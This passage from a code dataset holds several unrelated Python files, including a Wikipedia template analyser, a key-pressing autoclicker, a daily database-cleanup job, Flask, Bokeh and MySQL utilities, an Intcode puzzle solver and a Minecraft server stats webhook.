"github-code", "pt": "78", "api": [{"api_name": "docopt.docopt", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "docopt.DocoptExit", "line_number": 26, "usage_type": "attribute"}]}
{"seq_id": "19107039990", "text": "import argparse\nimport bz2\nimport time\n\nimport mwapi\nimport mwparserfromhell\nimport mwxml\n\ndef standardize_template_names(t):\n    \"\"\"Standardize names of templates for matching purposes.\"\"\"\n    return t.strip().lower().replace(\" \", \"_\")\n\ndef build_template_list(lang, main):\n    \"\"\"Build list of templates names (including redirects) based on the main template name.\"\"\"\n    session = mwapi.Session('https://{0}.wikipedia.org'.format(lang), user_agent=\"Reuse analysis - isaac@wikimedia.org\")\n    params = {'action':'query', 'prop':'redirects', 'titles':main, 'rdnamespace':10, 'rdlimit':500, 'format':'json', 'formatversion':2}\n    result = session.get(params)\n    template_names = set()\n    for t in [result['query']['pages'][0]] + result['query']['pages'][0].get('redirects', []):\n        name_start = t['title'].find(':') + 1\n        template_names.add(standardize_template_names(t['title'][name_start:]))\n    return template_names\n\ndef coord(template):\n    # Coord -- if anything that looks like lat/lon, it's tracking\n    for p in template.params:\n        try:\n            float(str(p.value))\n            return True\n        except ValueError:\n            if 'latitude=' in p.name or 'dd=' in p.name:\n                return True\n    return False\n\ndef ac(template):\n    # Authority Control -- only caveat is QID can be manually identified via QID=\n    if template.params:\n        if len(template.params) > 1 or not standardize_template_param_name(template.params[0]) == 'qid':\n            return True\n    return False\n\ndef tb(template):\n    # Taxonbar -- only caveat is that QID can be manually identified via from=\n    if template.params:\n        if len(template.params) > 1 or not standardize_template_param_name(template.params[0]) == 'from':\n            return True\n    return False\n\ndef bda(template):\n    # birth date templates are all always tracking\n    return True\n\ndef el(template):\n    # External links -- name is only common parameter that wouldn't override Wikidata call\n    if template.params:\n        if len(template.params) == 1 and standardize_template_param_name(template.params[0]) == 'name':\n            return False\n        return True\n    return False\n\ndef standardize_template_param_name(param):\n    \"\"\"Standardize names of template parameters for matching.\"\"\"\n    return param.name.strip().lower()\n\n# Category:Infobox_templates_using_Wikidata\n# Category:External_link_templates_using_Wikidata\n# Category:Templates_tracking_Wikidata\n# Category:Templates_using_data_from_Wikidata\ndef get_templates_in_category(lang, category_name):\n    \"\"\"Get all templates in a category.\"\"\"\n    session = mwapi.Session('https://{0}.wikipedia.org'.format(lang), user_agent=\"Reuse analysis - isaac@wikimedia.org\")\n    params = {'action': 'query', 'list': 'categorymembers', 'cmtitle': category_name, 'cmnamespace': 10, 'cmlimit': 500,\n              'format': 'json', 'formatversion': 2, 'cmprop':'title'}\n    result = session.get(params)\n    template_names = []\n    for t in result['query']['categorymembers']:\n        template_names.append(t['title'])\n    return template_names\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--lang\", default=\"en\", help=\"Wikipedia language to analyze\")\n    parser.add_argument('--output_tsv', default='output.tsv', help='Output data TSV.')\n    args = parser.parse_args()\n\n    # Look for coordinate, authority control, taxonbar, birth date, and external link templates\n    main_templates = {'cd': {'en': ['Template:Coord'], 'func': coord},\n                      'ac': {'en': ['Template:Authority control'], 'func': ac},\n                      'tb': {'en': ['Template:Taxonbar'], 'func': tb},\n                      'bd': {\n                          'en': ['Template:Birth_date', 'Template:Birth_date_and_age', 'Template:Birth_year_and_age',\n                                 'Template:Birth-date', 'Template:Birth-date_and_age'], 'func': bda},\n                      'el': {'en': get_templates_in_category('en', 'Category:External_link_templates_using_Wikidata'),\n                             'func': el}\n                      }\n\n    # current full wikitext of enwiki articles\n    dump_fn = '/mnt/data/xmldatadumps/public/{0}wiki/latest/{0}wiki-latest-pages-articles.xml.bz2'.format(args.lang)\n    dump = mwxml.Dump.from_file(bz2.open(dump_fn))\n    wikidata_usage = {}\n    template_names = {}\n    for t in main_templates:\n        wikidata_usage[t] = {'tracking':0, 'transclusion':0}\n        template_names[t] = set()\n        for t_name in main_templates[t][args.lang]:\n            template_names[t].update(build_template_list(args.lang, t_name))\n            time.sleep(0.5)\n    for t in template_names:\n        print(\"{0}: {1} templates names\".format(t, len(template_names[t])))\n    evaluated = 0\n    prob_wbc = 0\n    actual_wbc = 0\n    # loop through dump and for every article, gather templates and check whether any match the ones I'm tracking\n    # if match, check whether usage looks like transclusion or tracking only\n    for i, page in enumerate(dump, start=1):\n        if page.namespace == 0 and not page.redirect:\n            evaluated += 1\n            for revision in page:\n                wikitext = mwparserfromhell.parse(revision.text)\n                templates = wikitext.filter_templates()\n                wbc = False\n                tracking_only = True\n                for t in templates:\n                    t_name = standardize_template_names(t.name)\n                    for t_check in template_names:\n                        if t_name in template_names[t_check]:\n                            if main_templates[t_check]['func'](t):\n                                wikidata_usage[t_check]['tracking'] += 1\n                                wbc = True\n                            else:\n                                wikidata_usage[t_check]['transclusion'] += 1\n                                wbc = True\n                                tracking_only = False\n                if wbc:\n                    prob_wbc += 1\n                    if not tracking_only:\n                        actual_wbc += 1\n        if i % 10000 == 0:\n            status = []\n            for w in wikidata_usage:\n                n = sum(wikidata_usage[w].values())\n                if n:\n                    status.append('{0} (n={1}):\\t{2:.1f}% transclusion'.format(w, n, wikidata_usage[w]['transclusion'] * 100 / n))\n                else:\n                    status.append('{0} (n={1}): --'.format(w, n))\n            print(\"{0} pages processed. {1} evaluated. {2} ({3:.1f}%) likely on wbc_entity_usage. {4} ({5:.1f}%) legitimately on wbc_entity_usage. Status:\\n{6}\".format(\n                i, evaluated, prob_wbc, prob_wbc * 100 / evaluated, actual_wbc, 100 * actual_wbc / evaluated, '\\n'.join(status)))\n    status = []\n    with open(args.output_tsv, 'w') as fout:\n        fout.write('type\\ttransclusion\\ttracking\\n')\n        fout.write('total:{0}\\t\\t\\n'.format(evaluated))\n        fout.write('wbc_estimate\\t{0}\\t{1}\\n'.format(actual_wbc, prob_wbc - actual_wbc))\n        for w in wikidata_usage:\n            n = sum(wikidata_usage[w].values())\n            if n:\n                status.append(\n                    '{0} (n={1}):\\t{2:.1f}% transclusion'.format(w, n, wikidata_usage[w]['transclusion'] * 100 / n))\n            else:\n                status.append('{0} (n={1}): --'.format(w, n))\n            fout.write('{0}\\t{1}\\t{2}\\n'.format(w, wikidata_usage[w]['transclusion'], wikidata_usage[w]['tracking']))\n        print(\n            \"{0} pages processed. {1} evaluated. {2} ({3:.1f}%) likely on wbc_entity_usage. {4} ({5:.1f}%) legitimately on wbc_entity_usage. Status:\\n{6}\".format(\n                i, evaluated, prob_wbc, prob_wbc * 100 / evaluated, actual_wbc, 100 * actual_wbc / evaluated,\n                '\\n'.join(status)))\n\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "geohci/wikidata-transclusion", "sub_path": "check_tracking.py", "file_name": "check_tracking.py", "file_ext": "py", "file_size_in_byte": 7827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "mwapi.Session", "line_number": 15, "usage_type": "call"}, {"api_name": "mwapi.Session", "line_number": 71, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 81, "usage_type": "call"}, {"api_name": "mwxml.Dump.from_file", "line_number": 99, "usage_type": "call"}, {"api_name": "mwxml.Dump", "line_number": 99, "usage_type": "attribute"}, {"api_name": "bz2.open", "line_number": 99, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "mwparserfromhell.parse", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "35430126681", "text": "import tkinter as tk\r\nimport json\r\nimport keyboard\r\nimport numpy as np\r\nimport time\r\n\r\ndef load_coordinates(filename):\r\n    with open(filename, 'r') as f:\r\n        data = json.load(f)\r\n        areas = data.get(\"areas\", {})\r\n        return areas\r\n\r\ndef load_pixel_colors(filename):\r\n    with open(filename, 'r') as f:\r\n        data = json.load(f)\r\n        pixel_colors_data = data.get(\"pixel_colors\", [])\r\n        pixel_colors = np.array([item[0][::-1] for item in pixel_colors_data])\r\n        return pixel_colors\r\n\r\ndef draw_areas(canvas, areas):\r\n    for area_num, coordinates_list in areas.items():\r\n        for coordinates in coordinates_list:\r\n            x1, y1, x2, y2 = coordinates[0][0], coordinates[0][1], coordinates[1][0], coordinates[1][1]\r\n            canvas.create_rectangle(x1, y1, x2, y2, outline='red', width=2)\r\n            canvas.create_text((x1 + x2) / 2, y1, text=str(area_num), anchor='s', fill='red',\r\n                               font=('Helvetica', 12, 'bold'))\r\n\r\ndef draw_red_square(canvas, square_size):\r\n    square_x = 0\r\n    square_y = 0\r\n    canvas.create_rectangle(square_x, square_y, square_x + square_size, square_y + square_size, outline='red', width=2)\r\n\r\ndef press_key(zone_num):\r\n    key_mapping = {1: 'd', 2: 'f', 3: 'j', 4: 'k'}\r\n    key = key_mapping.get(zone_num)\r\n    if key:\r\n        keyboard.press_and_release(key)\r\n\r\ndef check_areas(areas, pixel_colors, threshold_percentage):\r\n    for area_num, coordinates_list in areas.items():\r\n        for coordinates in coordinates_list:\r\n            x1, y1, x2, y2 = coordinates[0][0], coordinates[0][1], coordinates[1][0], coordinates[1][1]\r\n            area_colors = pixel_colors[y1:y2, x1:x2]\r\n            total_pixels = area_colors.shape[0] * area_colors.shape[1]\r\n\r\n            if total_pixels > 0:\r\n                unique_colors, counts = np.unique(area_colors.reshape(-1, area_colors.shape[-1]), axis=0,\r\n                                                  return_counts=True)\r\n                matching_pixels = np.sum(counts)\r\n                percentage = (matching_pixels / total_pixels) * 100\r\n\r\n                if percentage >= threshold_percentage:\r\n                    press_key(area_num)\r\n\r\n                print(f\"[{area_num}] {percentage:.2f}%\")\r\n            else:\r\n                print(f\"[{area_num}] 0% (No pixels in the area)\")\r\n\r\ndef main():\r\n    root = tk.Tk()\r\n    root.overrideredirect(True)\r\n    root.attributes('-topmost', True)\r\n    root.wm_attributes(\"-transparentcolor\", \"white\")\r\n\r\n    canvas = tk.Canvas(root, width=root.winfo_screenwidth(), height=root.winfo_screenheight(), bg='white',\r\n                       highlightthickness=0)\r\n    canvas.pack()\r\n\r\n    areas = load_coordinates(\"coordinates.json\")\r\n    draw_areas(canvas, areas)\r\n    draw_red_square(canvas, 50)\r\n\r\n    pixel_colors = load_pixel_colors(\"pixel_colors.json\")\r\n    threshold_percentage = 30\r\n\r\n    def on_close():\r\n        root.destroy()\r\n\r\n    root.protocol(\"WM_DELETE_WINDOW\", on_close)\r\n\r\n    while True:\r\n        check_areas(areas, pixel_colors, threshold_percentage)\r\n        root.update_idletasks()\r\n        root.update()\r\n        time.sleep(0.4)\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "repo_name": "lReDragol/Mini_Programs", "sub_path": "autoclicker/test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 3182, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 65, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 85, "usage_type": "call"}]}
{"seq_id": "25963567446", "text": "import os\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\n\ndef remove():\n    path = 'epidemic_database.db'  # 文件路径\n    if os.path.exists(path):  # 如果文件存在\n        os.remove(path)  # 删除文件，可使用以下两种方法。\n        # os.unlink(path)\n    else:\n        print(f'no such file: {path}')  # 则返回文件不存在\n\n\nif __name__ == '__main__':\n    scheduler = BlockingScheduler()\n    scheduler.add_job(remove, 'cron', hour=18)\n    scheduler.start()", "repo_name": "jiafeng666/epidemic_crawler_visulization", "sub_path": "drop_database.py", "file_name": "drop_database.py", "file_ext": "py", "file_size_in_byte": 498, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 8, "usage_type": "call"}, {"api_name": "apscheduler.schedulers.blocking.BlockingScheduler", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "41801340654", "text": "from textual.app import ComposeResult\nfrom textual.containers import Grid, Vertical\nfrom textual.screen import ModalScreen\nfrom textual.widgets import Input, RadioButton, RadioSet\n\n\nclass CreateFile(ModalScreen[dict]):\n    \"\"\"Screen with a dialog to return yes or not\"\"\"\n\n    BINDINGS = [\n        (\"escape\", \"exit\", \"\"),\n    ]\n\n    def compose(self) -> ComposeResult:\n        \"\"\"Formar la pantalla\"\"\"\n        yield Grid(\n            Vertical(\n                Input(\n                    value=\"\",\n                    placeholder=\"Name for new file\",\n                    id=\"question-1\",\n                ),\n                RadioSet(\n                    RadioButton(\"Three Columns\", value=True),\n                    RadioButton(\"Five Columns\"),\n                ),\n                id=\"the_vertical\",\n            ),\n            id=\"the_new_file\",\n        )\n\n    def action_exit(self) -> None:\n        \"\"\"Salir\"\"\"\n        self.dismiss({\"name_file\": \"\", \"columns\": 0})\n\n    def on_radio_set_changed(self, event: RadioSet.Changed) -> None:\n        el_input = self.query_one(Input)\n        name_file = el_input.value\n        el_input.value = \"\"\n        index = event.radio_set.pressed_index\n        self.dismiss({\"name_file\": name_file, \"columns\": index})\n\n    def on_input_submitted(self, event: Input.Submitted) -> None:\n        the_text = event.input.value\n        event.input.value = \"\"\n        if event.input.id == \"question-1\":\n            radio_set = self.query_one(RadioSet)\n            index = radio_set.pressed_index\n            self.dismiss({\"name_file\": the_text, \"columns\": index})\n        else:\n            self.dismiss({\"name_file\": \"\", \"columns\": 0})\n", "repo_name": "justafewwords4/kultimate", "sub_path": "kultimate/screens/create_file.py", "file_name": "create_file.py", "file_ext": "py", "file_size_in_byte": 1658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "textual.screen.ModalScreen", "line_number": 7, "usage_type": "name"}, {"api_name": "textual.containers.Grid", "line_number": 16, "usage_type": "call"}, {"api_name": "textual.containers.Vertical", "line_number": 17, "usage_type": "call"}, {"api_name": "textual.widgets.Input", "line_number": 18, "usage_type": "call"}, {"api_name": "textual.widgets.RadioSet", "line_number": 23, "usage_type": "call"}, {"api_name": "textual.widgets.RadioButton", "line_number": 24, "usage_type": "call"}, {"api_name": "textual.widgets.RadioButton", "line_number": 25, "usage_type": "call"}, {"api_name": "textual.app.ComposeResult", "line_number": 14, "usage_type": "name"}, {"api_name": "textual.widgets.RadioSet.Changed", "line_number": 36, "usage_type": "attribute"}, {"api_name": "textual.widgets.RadioSet", "line_number": 36, "usage_type": "name"}, {"api_name": "textual.widgets.Input", "line_number": 37, "usage_type": "argument"}, {"api_name": "textual.widgets.Input.Submitted", "line_number": 43, "usage_type": "attribute"}, {"api_name": "textual.widgets.Input", "line_number": 43, "usage_type": "name"}, {"api_name": "textual.widgets.RadioSet", "line_number": 47, "usage_type": "argument"}]}
{"seq_id": "16120658307", "text": "from db_models.modelsv2 import ProjectAnalysis\nfrom flask_restful import Resource, fields\nfrom modules.json_serializator import engine_encode\nimport json\n\n\n# PARAMS\nNAME = \"ProjectAnalysisResource\"\nNAME_LIST = \"ProjectAnalysisListResource\"\nENTITY_NAME = \"Project Analysis\"\nMODEL = ProjectAnalysis\nROUTE = \"/v2/projectAnalysis\"\nEND_POINT = \"v2-project-analysis\"\nROUTE_LIST = ROUTE\nEND_POINT_LIST = END_POINT + \"-list\"\n# NESTED SCHEMA FIELDS\n\n# OUTPUT SCHEMA\nOUTPUT_FIELDS = {\n    'id': fields.Integer,\n    'data': fields.String,\n    'project_id': fields.Integer\n}\n\ndef post_data_converter(json_data):\n    json_data = json.loads(json_data)\n    return {'data': engine_encode(json_data['data']),\n            'project_id': json_data['projectId']}\n", "repo_name": "vyadzmak/Landau.X.Api", "sub_path": "resv2/project_analysis_resources.py", "file_name": "project_analysis_resources.py", "file_ext": "py", "file_size_in_byte": 742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "db_models.modelsv2.ProjectAnalysis", "line_number": 11, "usage_type": "name"}, {"api_name": "flask_restful.fields.Integer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_restful.fields.Integer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 22, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 26, "usage_type": "call"}, {"api_name": "modules.json_serializator.engine_encode", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "74668171785", "text": "#!/usr/bin/python\n\nimport csv\nimport MySQLdb\nimport MySQLdb.cursors\nimport json\nimport sys\n\n\nwith open('config.json') as fh:\n\tconfig = json.load(fh)\n\nmysql_conn = MySQLdb.connect(\n\thost=config['mysql']['host'],\n\tport=config['mysql']['port'],\n\tuser=config['mysql']['user'],\n\tpasswd=config['mysql']['password'],\n\tdb=config['mysql']['database'],\n\tuse_unicode=True,\n\tcharset=\"utf8mb4\",\n\tcursorclass = MySQLdb.cursors.DictCursor)\nmysql_conn.autocommit(True)\n\nmysql_cur = mysql_conn.cursor()\nmysql_cur.execute(\"SET time_zone='+0:00'\")\n\nwith open(sys.argv[1]) as fh:\n\treader = csv.DictReader(fh)\n\tmysql_cur.execute(\"TRUNCATE TABLE goals\")\n\tfor row in reader:\n\t\tmysql_cur.execute(\"INSERT INTO goals (hashtag,flavor_text,headline,url) VALUES (%s,%s,%s,%s)\",\n\t\t\t(row[\"Hashtag\"][1:],row[\"Square\"],row[\"Headline\"],row[\"URL\"]))", "repo_name": "danielsmc/twitter-bingo", "sub_path": "load_goals.py", "file_name": "load_goals.py", "file_ext": "py", "file_size_in_byte": 814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "MySQLdb.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "MySQLdb.cursors", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "30452217117", "text": "from bokeh.plotting import figure, curdoc\nfrom bokeh.models import HoverTool, TapTool, BoxZoomTool, BoxSelectTool, PreviewSaveTool, ResetTool\nfrom bokeh.models.widgets import Panel, Tabs, TextInput, RadioGroup\nfrom bokeh.client import push_session\nfrom bokeh.models.sources import ColumnDataSource\nfrom bokeh.io import vform, hplot\nfrom bokeh.palettes import Spectral11\n\nimport numpy as np\n\ntabs = []\n\nx = np.linspace(-2*np.pi, 2*np.pi, 200)\n\ncolour_list = Spectral11 #[(51, 153, 51) ,(153, 51, 51), (51, 51, 153), (153, 51,153 ), (153, 51, 51)]\n\n\n\ny = np.sin(x)\nw = np.cos(x)\n\na = ColumnDataSource(dict(x = x, y = y))\nb = ColumnDataSource(dict(x = x, y = w))\n\nz = np.arcsin(x)\nu = np.arccos(x)\n\nc = ColumnDataSource(dict(x = x, y = z))\nd = ColumnDataSource(dict(x = x, y = u))\n\n\nv = np.arctan(x)\nr = np.tan(x)\n\ne = ColumnDataSource(dict(x = x, y = v))\nf = ColumnDataSource(dict(x = x, y = r))\n\nlist_of_axis = [(a, b), (c,d), (e, f)]\n\nhover = HoverTool(\ntooltips=[\n\t(\"(x,y)\", \"($x, $y)\"),\n])\n\nTools = [ TapTool(), BoxZoomTool(), BoxSelectTool(), PreviewSaveTool(), ResetTool()]\n\n\n\n\ndef update_title(new, radio, sources):\n\n\tprint(\"hello\")\n\tactive_source = sources[radio.active]\n\tfactor = float(new)\n\n\tx = active_source.data[\"x\"]\n\ty = factor*active_source.data[\"y\"]\n\n\tactive_source.data = dict(x = x, y = y)\n\n\nfor two in list_of_axis: \n\n\tfigure_obj = figure(plot_width = 1000, plot_height = 800, title = \"these are waves\", tools = Tools)\n\t\n\t#for mytool in Tools:\n\t#\tmytool.plot = figure_obj \n\n\t#figure_obj.tools = Tools\n\n\tfigure_obj.line(\"x\", \"y\", source = two[0], line_width = 2, line_color = colour_list[3])\n\tfigure_obj.line(\"x\", \"y\", source = two[1], line_width = 2, line_color = colour_list[1])\n\n\ttext = TextInput(title=\"title\", value='my sine wave')\n\tradio = RadioGroup(labels = [\"0\", \"1\"], active = 0)\n\n\ttext.on_change('value', lambda attr, old, new, radio = radio, sources = two: \n\t\t\t\t\tupdate_title(new, radio, sources))\n\n\ttabs.append(Panel(child = hplot(figure_obj, vform(text, radio)), title = \"two by two\"))\n\ntabs = Tabs(tabs = tabs)\nsession = push_session(curdoc())\nsession.show()\nsession.loop_until_closed()\n", "repo_name": "copperwire/SIMS", "sub_path": "testing_scripts/bug_script.py", "file_name": "bug_script.py", "file_ext": "py", "file_size_in_byte": 2118, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linspace", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "bokeh.palettes.Spectral11", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 20, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 22, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arcsin", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 26, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 28, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 33, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 35, "usage_type": "call"}, {"api_name": "bokeh.models.sources.ColumnDataSource", "line_number": 36, "usage_type": "call"}, {"api_name": "bokeh.models.HoverTool", "line_number": 40, "usage_type": "call"}, {"api_name": "bokeh.models.TapTool", "line_number": 45, "usage_type": "call"}, {"api_name": "bokeh.models.BoxZoomTool", "line_number": 45, "usage_type": "call"}, {"api_name": "bokeh.models.BoxSelectTool", "line_number": 45, "usage_type": "call"}, {"api_name": "bokeh.models.PreviewSaveTool", "line_number": 45, "usage_type": "call"}, {"api_name": "bokeh.models.ResetTool", "line_number": 45, "usage_type": "call"}, {"api_name": "bokeh.plotting.figure", "line_number": 64, "usage_type": "call"}, {"api_name": "bokeh.models.widgets.TextInput", "line_number": 74, "usage_type": "call"}, {"api_name": "bokeh.models.widgets.RadioGroup", "line_number": 75, "usage_type": "call"}, {"api_name": "bokeh.models.widgets.Panel", "line_number": 80, "usage_type": "call"}, {"api_name": "bokeh.io.hplot", "line_number": 80, "usage_type": "call"}, {"api_name": "bokeh.io.vform", "line_number": 80, "usage_type": "call"}, {"api_name": "bokeh.models.widgets.Tabs", "line_number": 82, "usage_type": "call"}, {"api_name": "bokeh.client.push_session", "line_number": 83, "usage_type": "call"}, {"api_name": "bokeh.plotting.curdoc", "line_number": 83, "usage_type": "call"}]}
{"seq_id": "9306501117", "text": "from collections import defaultdict\nimport queue as q\nimport intcode as comp\n\ndef printmap(lowermap, uppermap, maxx, maxy):\n    print(' ', end='')\n    for x in range(maxy):\n        print(x % 10, end='')\n    print()\n    for y in range(maxy):\n        print(y % 10, end='')\n        for x in range(maxx):\n            pos = (x,y)\n            if pos in lowermap and lowermap[pos] == '#':\n                print('#', end='')\n            elif pos in uppermap and uppermap[pos] == '#':\n                print('#', end='')\n            else:\n                print('.', end='')\n                \n        print()\n\ninq = q.Queue()\noutq = q.Queue()\n\nuppermap = defaultdict(lambda : '.')\nlowermap = defaultdict(lambda : '.')\nupper = [15,12]\nlower = [15,13]\nc = comp.Intcode(inq, outq)\nc.start()\n# upperdirs= [(1,0), (0,1)]\nupperdir = 0\nwhile True:\n    inq.put(upper[0])\n    inq.put(upper[1])\n    tile = outq.get()\n    if tile == 1:\n        uppermap[(upper[0],upper[1])] = '#'\n        upper[0] += 1\n    elif tile == 0:\n        upper[1] += 1\n        upper[0] -= 1\n    if upper[0] > 1500:\n        break\n\n\nwhile True:\n    inq.put(lower[0])\n    inq.put(lower[1])\n    tile = outq.get()\n    if tile == 1:\n        lowermap[(lower[0],lower[1])] = '#'\n        lower[1] += 1\n    elif tile == 0:\n        lower[0] += 1\n        lower[1] -= 1\n    if lower[0] > 1500:\n        break\nsize = 99\nfor pos in uppermap.keys():\n    if pos[0] > 8:\n        for i in range(size):\n            if (pos[0]-i, pos[1]) in lowermap:\n                break\n        else:\n            if (pos[0]-size, pos[1]+size) in lowermap:\n                print(pos[0]-size, pos[1], sep='')\n                break\n                \n        \n\n#printmap(lowermap, uppermap, 100, 100)\n", "repo_name": "r-udd/adventofcode2019", "sub_path": "day19/part2.py", "file_name": "part2.py", "file_ext": "py", "file_size_in_byte": 1712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "queue.Queue", "line_number": 23, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 24, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 27, "usage_type": "call"}, {"api_name": "intcode.Intcode", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "11497425326", "text": "# https://github.com/sayersauce\r\n# A player leave / join statistics recording program.\r\n# Sends graphs and information by discord webhook.\r\n\r\nimport requests\r\nimport json\r\nimport os\r\nimport time\r\nimport csv\r\nimport datetime\r\nimport matplotlib.pyplot as plt\r\nfrom mcstatus import MinecraftServer\r\n\r\n\r\nFILE_PATH = os.path.dirname(os.path.realpath(__file__)) + \"/\"\r\n\r\n\r\ndef load_config():\r\n    # Loads configuration from mc_stats.json.\r\n    with open(FILE_PATH + \"mc_stats.json\") as config_file:\r\n        return json.load(config_file)\r\n\r\n\r\ndef query_minecraft_server(host):\r\n    # Queries Minecraft Server for information, requires `enable-query=true` in `server.properties`.\r\n    server = MinecraftServer.lookup(host)\r\n    return server.query()\r\n\r\n\r\ndef send_discord_webhook(url, image, query):\r\n    embed = {\r\n        \"title\" : \"Player Statistics\",\r\n        \"color\" : 15859772,\r\n        \"fields\" : [\r\n            {\r\n                \"name\" : \"Player Count\",\r\n                \"value\" : query.players.online\r\n            },\r\n            {\r\n                \"name\" : \"Player List\",\r\n                \"value\" : \"\\n\".join(query.players.names)\r\n            }\r\n        ]\r\n    }\r\n\r\n    values = {\r\n        \"embeds\" : [embed]\r\n    }\r\n\r\n    requests.post(url, data=json.dumps(values), headers={\"Content-Type\" : \"application/json\"})\r\n\r\n    if image:\r\n        requests.post(url, files={\"upload_file\" : open(FILE_PATH + image, \"rb\")})\r\n\r\n\r\ndef load_csv(csv_file):\r\n    # Load rows from a csv file.\r\n    rows = []\r\n\r\n    with open(FILE_PATH + csv_file, \"r\") as f:\r\n        csv_reader = csv.DictReader(f)\r\n        line_count = 0\r\n        for row in csv_reader:\r\n            rows.append(row)\r\n            line_count += 1\r\n    \r\n    return rows\r\n    \r\n\r\ndef add_csv_line(csv_file, day, hour, playercount):\r\n    # Appends row to csv file.\r\n    # First checks if csv file has been made.\r\n    if not os.path.exists(FILE_PATH + csv_file):\r\n        with open(FILE_PATH + csv_file, \"w+\") as f:\r\n            f.write(\"day,hour,count\")\r\n    with open(FILE_PATH + csv_file, \"a\") as f:\r\n        f.write(f\"\\n{day},{hour},{playercount}\")\r\n\r\n\r\ndef create_graph(rows):\r\n    rows = rows[-24:]\r\n    x = [i[\"hour\"] for i in rows]\r\n    y = [int(i[\"count\"]) for i in rows]\r\n    plt.plot(x, y, \"b\")\r\n    plt.xlabel(\"Time\")\r\n    plt.ylabel(\"Players\")\r\n    plt.savefig(\"plot.png\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    config = load_config()\r\n\r\n    previous_query = query_minecraft_server(config[\"host\"])\r\n    send_discord_webhook(config[\"webhook-url\"], \"\", previous_query)\r\n\r\n    # Constant loop of gaining statistics. Every 10 minutes.\r\n    while True:\r\n\r\n        for i in range(5):\r\n            # Send webhook without graph.\r\n            query = query_minecraft_server(config[\"host\"])\r\n            if query.players.online != previous_query.players.online:\r\n                send_discord_webhook(config[\"webhook-url\"], \"\", query)\r\n            previous_query = query\r\n            time.sleep(600)\r\n\r\n        # Send webhook with playercount graph. Save playercount data.\r\n        query = query_minecraft_server(config[\"host\"])\r\n        date = datetime.datetime.now()\r\n        add_csv_line(config[\"csv-file\"], f\"{date.day}/{date.month}/{date.year}\", date.hour, query.players.online)\r\n        create_graph(load_csv(config[\"csv-file\"]))\r\n        send_discord_webhook(config[\"webhook-url\"], \"plot.png\", query)\r\n        time.sleep(600)\r\n\r\n", "repo_name": "sayersauce/mc-stats", "sub_path": "mc_stats.py", "file_name": "mc_stats.py", "file_ext": "py", "file_size_in_byte": 3387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, 